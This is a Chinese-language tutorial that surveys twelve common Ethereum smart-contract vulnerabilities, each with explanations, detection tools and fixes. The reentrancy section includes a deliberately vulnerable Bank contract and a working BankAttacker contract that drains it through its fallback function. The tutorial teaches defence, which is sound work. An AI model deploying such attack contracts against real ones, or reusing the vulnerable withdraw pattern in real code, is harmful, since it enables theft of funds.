智能合约的常见漏洞

目录：

• 1. 重入(Reentrancy) [1, 2, 3]
• 2. Call to the unknown [1]
• 3. Gasless send [1, 3]
• 4. Exception disorder/Mishandled Exceptions [1, 2, 3]
• 5. Type casts [1]
• 6. Keeping secrets [1]
• 7. Ether lost in transfer [1]
• 8. Unpredictable state [1, 2]
• 9. Generating randomness [1]
• 10. Timestasmp dependency [1, 2, 3]
• 11. Dangerous DelegateCall [3]
• 12. Freezing ether [3]

参考文献：
[1]: [Principles of Security and Trust'17]A Survey of Attacks on Ethereum Smart Contracts (SoK)
[2]: [CCS'16]Making Smart Contracts Smarter
[3]: [ASE'18]ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection

1. 重入(Reentrancy) [1, 2, 3]

• 基本概念

  • 智能合约中的 fallback (回退)函数
    一个智能合约中，可以有一个没有函数名,没有参数也没有返回值的函数，也就是 fallback 函数。一个没有定义 fallback 函数的合约，如果接收ether，会触发异常，并返还ether（solidity v0.4.0开始）。所以合约要接收ether，必须实现回退函数。在三种情况下，这个函数会被触发：
    • 如果调用这个合约时，没有匹配上任何一个函数。那么，就会调用默认的 fallback 函数。
    • 当合约收到ether时（没有任何其它数据），这个函数也会被执行。
      注意，执行 fallback 函数会消耗gas。

• 场景/例子
  例子引自: (https://medium.com/@MyPaoG/explaining-the-dao-exploit-for-beginners-in-solidity-80ee84f0d470)

/* 此合约用于1)记录用户余额,2)可以取款,3)可以存款。有reentrancy漏洞。*/

contract Bank{

/* 地址(唯一)和余额的映射 */
   mapping(address=>uint) userBalances;

/* 返回用户余额 */
   function getUserBalance(address user) constant returns(uint) {
     return userBalances[user];
   }

/* 给指定的用户增加余额 */
   function addToBalance() {
     userBalances[msg.sender] = userBalances[msg.sender] + msg.value;
   }

/* 用户取款(这里假设取余额中全部的钱) */
   function withdrawBalance() {
     uint amountToWithdraw = userBalances[msg.sender];
     /* 把钱转给用户。如果交易失败，则throw。 */
     if (msg.sender.call.value(amountToWithdraw)() == false) {
         throw;
     }
     /* 如果交易成功，把用户的余额设置为0。 */
     userBalances[msg.sender] = 0;
   }
}

/* 这是一个攻击具有reentrancy漏洞的智能合约(Bank)的智能合约(BankAttacker)。在这个例子里，它实现了两次攻击。 */
contract BankAttacker{

   bool is_attack;
   address bankAddress;

/* 输入：1）_bankAddress：要攻击的智能合约(Bank)的地址，2）_is_attack：开启或关闭攻击。*/
   function  BankAttacker(address _bankAddress, bool _is_attack){
       bankAddress=_bankAddress;
       is_attack=_is_attack;
   }

/* 这是一个fallback函数，用于调用withdrawnBalance函数（当开始攻击时，即is_attack为true） 。这个函数会被触发是因为有reentrancy漏洞的智能合约(Bank)中的withdrawBalance函数被执行。为了避免无限递归调用fallbacks，有必要设置有限的次数，例如这里设置2次。因为每次调用是需要gas的，如果gas用完了，攻击就失败了。 */
   function() {
       if(is_attack==true)
       {
           is_attack=false;
           if(bankAddress.call(bytes4(sha3("withdrawBalance()")))) {
               throw;
           }
       }
   }

/* 存款函数。主要功能是给智能合约Bank发送75wei，并且调用addToBalance。 */
   function  deposit(){
        if(bankAddress.call.value(2).gas(20764)(bytes4(sha3("addToBalance()")))
        ==false) {
               throw;
           }
   }

/* 这个函数会触发Bank中的withdrawBalance函数。*/
   function  withdraw(){
		if(bankAddress.call(bytes4(sha3("withdrawBalance()")))==false ) {
               throw;
           }

   }
}

攻击者利用BankAttack(vulnerable contract)与Bank进行交互，主要过程：

1. 攻击者首先通过调用BankAttack中的 deposit 函数发送75wei到Bank，从而调用Bank中的 addToBalance 函数。
2. 【第一次取款】攻击者通过调用BankAttack中 withdraw 进行取款(取75wei)。同时，触发了Bank中的 withdrawBalance。
3. Bank中的 withdrawBalance 发送75wei给BankAttack，从而触发了BankAttack的 fallback 函数，最后更新 userBalances 变量。
4. 【第二次取款】BankAttack的fallback函数再次调用Bank中的 withdrawBalance 函数，相当于再次取款。注意，这个时候，相当于递归调用，因此第一次取款还未结束，因此，Bank中的变量 userBalances 的值还没有更新。所以，调用第二次取款时，Bank误以为BankAttack还存有75wei。因此，成功地再次执行了取款的操作。
   以下是流程图：
   

• 检测方法

  • 工具一: Oyente [2]
    主要思想: 利用条件路径。在每次执行CALL函数之前，先利用符号执行获取整个函数的条件路径。然后检查路径[unclear]
  • 工具二: ContractFuzzer [3]
    主要思想: 如下图所示，创建一个AttackerAgent去与目标contract交互。
    

• 修复方法

  • Lock: 增加一个变量来锁定当前的状态。例如，ReentrancyGuard.sol。

• QA

  • 循环调用什么时候停止？
    当1) 执行最终out-of-gas, 2)达到了stack limit, 3)当攻击者所有的ether都被用完了。
  • 停止后整个程序产生了什么影响？
    最终，最后一个调用会失败(不影响区块链状态)，因此有且仅有一个异常被抛出。之前的所有调用都被认为是合法的，因此，都成功执行完毕。

• 其他

  • 相关漏洞：TheDao hack

2. Call to the unknown [1]

• 基本概念
  每个智能合约的函数通过函数名和参数类型来保证唯一性(Signature)。所以，本来一个合约时想执行某函数，由于代码写错了，没有匹配到其他的函数，所以就默认调用 fallback 函数。

• 检测方法
  检测参数类型和函数名与调用函数是否一致。

3. Gasless send [1, 3]

• 基本概念

1. 发送ether: send() 函数
   当使用send(相当于一个特殊的call())发送以太币到一个合约时，有可能会发生out-of-gas异常。当签名不匹配任何的函数时，将会触发回退函数。由于send()函数指定了一个空函数签名，所以当fallback函数存在时，它总是会调用它。但和一般的函数不同的是，执行send()所消耗的gas默认上线被限定在2,300(如果特别指定上限的话，可以大于2,300)。

• 场景/例子

  • 例1
    
    合约C给合约D1和D2发送ether。会有以下三种可能的情况：
    1. n≠0, d=D1。 C发送失败，并抛出out-of-gas异常。因为2,300不足以执行D1的 fallback() 函数，即count++;。
    2. n≠0, d=D2。C发送成功。
    3. n=0, d=D1/D2。对于编译器版本<0.4.0，两个都会失败，D1是因为2,300不足以执行 fallback，D2是因为 fallback 为空。对于编译器版本≥0.4.0，D1失败，D2成功，原因同1和2。
       总之，send 成功的两种可能:1)发送ether给一个合约，而这个合约的 fallback 花费小于可花费的gas。2)发送ether给一个用户。
  • 例2：King of the Ether Throne game
    还有一个例子就是叫“King of the Ether Throne”的游戏。这个游戏的玩法大致就是发送ether到一个叫KotET的智能合约中（如下图所示）。想成为king的玩家必须要支付一些ether给当前的king，加上少量的fee给KotET这个智能合约。
    
    假设有一个玩家想要成为king，那么他就会想KotET发送一定量(msg.value)的ether。然后就会调用KotET的 fallback 函数。fallback 函数会首先checkmsg.value是否大于之前的king设定的报价(LINE14)。如果小于，则说明竞价失败，则throw。反之，就会取得王座，成为新的king。
    这个contract看似没问题，实际上会有gasless send bug。当LINE17执行失败的时候(gas不够执行 fallback())，那么王座会被这个contract所持有。
    
    那么，现在假设，重写合约(如上图LINE6所示)，用call替换send，然后去check它的返回值，如false则throw。虽然这个版本看似比之前的版本要好，但是，这个合约还是有bug:假设现在有一个叫Mallory的attacker，它的 fallback 函数里面就是一个throw。它发送足够的ether给KotET，然后成为的新的king。这个时候，就再也没有人可以取代它的王位，因为每次给Mallory发送ether的时候，都必须要调用Mallory的 fallback 函数。因此，KotET的LINE6的条件会一直为true。因此，程序不会再执行下去。

• 参考

  • Solidity发送ether最佳实践（二十四）|入门系列

4. Exception disorder/Mishandled Exceptions [1, 2, 3]

• 基本概念

1. 智能合约的相互调用(call,delegatecall,callcode)
   在函数调用的过程中， Solidity 中的内置变量 msg 会随着调用的发起而改变，msg 保存了调用方的信息包括：调用发起的地址，交易金额，被调用函数字符序列等。
   三种调用方式的异同点

   • call: 最常用的调用方式，调用后内置变量 msg 的值会修改为调用者，执行环境为被调用者的运行环境(合约的 storage)。
   • delegatecall: 调用后内置变量 msg 的值不会修改为调用者，但执行环境为调用者的运行环境。
   • callcode: 调用后内置变量 msg 的值会修改为调用者，但执行环境为调用者的运行环境。

2. solidity的异常处理
   三种抛异常的场景:

   • 执行到out-of-gas
   • call 栈溢出
   • 执行到throw语句
     如果在执行被调用的合约时有异常抛出，那么，被调用的合约会终止执行并且revert状态，并返回false。但是，当一个合约以不同的方式调用另外一个合约时，solidity没有一个一致的方法去处理异常。调用的合约可能无法获取被调用的合约中的异常信息。如下图所示，
     
   • 情况一:Bob直接调用Alice的ping
     ==>throws an exception==>执行结束==>transaction revert。所以，Bob的x还是为0。
   • 情况二:Bob通过call调用Alice的ping
     ==>call返回false==>执行继续。所以，Bob的x为0。
     更一般的情况，假设有一串函数调用链(如，a()调用b()，b()调用c()，...)，直到异常抛出。那么，异常处理如下：
   • 情况一: 所有函数调用都是直接调用，直到程序停止，所有的side effect都revert。所有由最初调用函数的用户提供的的gas都被消耗完。
   • 情况二: 调用链中至少有一个函数调用是通过call来实现的。那么，异常会进行传递(类似于溯源)，被调用的合约的side effect都会revert。所有由最初调用函数的用户提供的的gas也都被消耗完。
     可见，处理异常的方式的不一致性会影响到合约的安全性。比如，如果仅仅根据没有异常抛出就认为转账是成功的，这是不安全的。有研究表明，～28%的合约没有去检查call/send调用。

• 参考
  • 以太坊 Solidity 合约 call 函数簇滥用导致的安全风险
  • Difference between CALL, CALLCODE and DELEGATECALL

5. Type casts [1]

• 基本概念
  solidity是强类型语言，所以会有类型检查，如变量赋值时，如把字符串赋值给整型变量。但是，有些情况即使类型不匹配，也不会进行类型检查，因此会导致此bug。

• 场景/例子
  如下图所示，solidity编译器不会检查以下类型是否匹配：

  1. c是否是一个有效地址；
  2. Alice里是否真的有ping。
     
     所以，有时候，开发者以为编译器做了类型检查，但其实并没有。所以，在执行时，会出现以下情况：
  3. c不是一个地址，所以直接return。
  4. 正确调用，代码正确执行。
  5. c是一个正确的地址，但是，没有匹配任何Alice中的函数，所以调用alice的 fallback 函数。
     以上三种情况中任意一种发生，都不会抛出异常。所以，开发者不会察觉。

6. Keeping secrets [1]

• 基本概念
  许多应用都需要暂时合约的字段保密，即暂时不可见。比如，两个玩家对战，那么，下一步可能需要暂时对对手不可见。但是，尽管solidity可以申明某些变量为private，但是，这并无法保证它是真的不可见的。这个时候，可能就需要一些加密技术去解决这个问题。

7. Ether lost in transfer [1]

• 基本概念
  给一个地址发送ether，这个地址符合地址规范，但是是一个完全独立的空地址。所以，会导致ether丢失。

8. Unpredictable state [1, 2]

• 定义
  在[2]中，它也被称作"Transaction-Ordering Dependence(TOD)"。一个block包含一个transaction的集合，同属于一个block的transaction的执行顺序是不确定的(只有矿工可以确定)。因此，也就导致了block的状态是不确定的。假设block处于状态(σ)，其中包含了两个transaction (T_1)和(T_2)。(T_1)和(T_2)又同时调用了同一个合约。那么，在这个时候，用户是无法知道这个合约的状态的，因为这取决于(T_1)和(T_2)的实际执行顺序。

• 场景
  

  • 场景一: Benign Scenario
    假设(T_o)和(T_u)差不多时间发送信息到Puzzle。其中，(T_o)是来自合约的所有者，他想更新提出方案的奖励值。(T_o)是来自提出解决方案的用户，他想通过方案得到奖励。那么，在这个时候，(T_o)和(T_u)的执行顺序会影响到提出方案的用户最终能获得多少奖励。
  • 场景二: Malicious Scenario
    注意，从(T_u)被广播到(T_u)被记录在block之间，有12s的时间间隔。也就是说，Puzzle合约的所有者可以一直保持监听网络，看是否有人提到解决方案到Puzzle。一旦有，他就发送一个transaction去更新奖励(比如设为一个很小的数)。在这种情况下，合约的所有者就很有可能(注意，并非一定)通过很小的花费就得到了解决方案。

9. Generating randomness [1]

• 基本概念
  有的开发者可能会利用下一个block的hash值或时间戳作为生成随机数的种子，但是在就像下面10. Timestasmp dependency中提到的，timestamp在一定程度上是可以"受控"于矿工。所以，这会导致这个bug。

10. Timestasmp dependency [1, 2, 3]

• 基本概念
  很多合约的执行逻辑是和当前block的时间戳有关的。而一个block的时间戳是由矿工(挖矿时的系统)决定的，并且允许有。但是，这里时间可以允许有900秒的偏移(The miner could cheat in the timestamp by a tolerance of 900 seconds。

• 场景/例子
  
  第五行到第七行依赖于当前block的时间戳。因此，矿工可以事先计算出对自己有利的时间戳，并且在挖矿时将时间设置成对自己有利的时间。

• 检测方法

  • 工具一: Oyente [2]
    获取执行路径，判断路径中是否依赖时间戳。
  • 工具二: ContractFuzzer [3]
    是否同时满足两个条件: 1）依赖于时间戳，2）是否有转账。

11. Dangerous `DelegateCall` [3]

• 基本概念
  Exception disorder中提到了3种智能合约相互调用的方法。
  QA

  • delegatecall和call的区别？
    假设在contract_test合约中分别有nameReg.call("somefunction")以及nameReg.delegatecall("somefunction")，那么，nameReg.call以nameReg合约的身份在nameReg中执行somefunction。而nameReg.delegatecall以contract_test合约的身份在nameReg中执行somefunction。
  • 为什么会有delegatecall?
    设计delegatecall的目的是用于实现类似于代码库的调用。delegatecall的目的是让合约在不用传输自身状态(如balance、storage)的情况下可以使用其他合约的代码。

• 场景/例子
  
  在Wallet合约中，LINE6调用delegatecall并且传参msg.data。这使得attacker可以调用walletLibrary中的任意一个public function。因此，attacker可以调用LINE10的initWallet，以此成为Wallet这个合约的拥有者。然后他就可以从wallet发送ether到他自己的地址。

• 参考

  • Solidity安全：delegatecall的滥用问题

12. Freezing ether [3]

• 基本概念
  有些合约用于接受ether，并转账给其他地址。但是，这些合约本身并没有自己实现一个转账函数，而是通过delegatecall去调用一些其他合约中的转账函数去实现转账的功能。万一这些提供转账功能的合约执行suicide或self-destruct操作的话，那么，通过delegatecall调用转账功能的合约就有可能发生ether被冻结的情况。

• 检测方法

  • 工具一: ContractFuzzer [3]
    如果balance大于0且没有转账功能。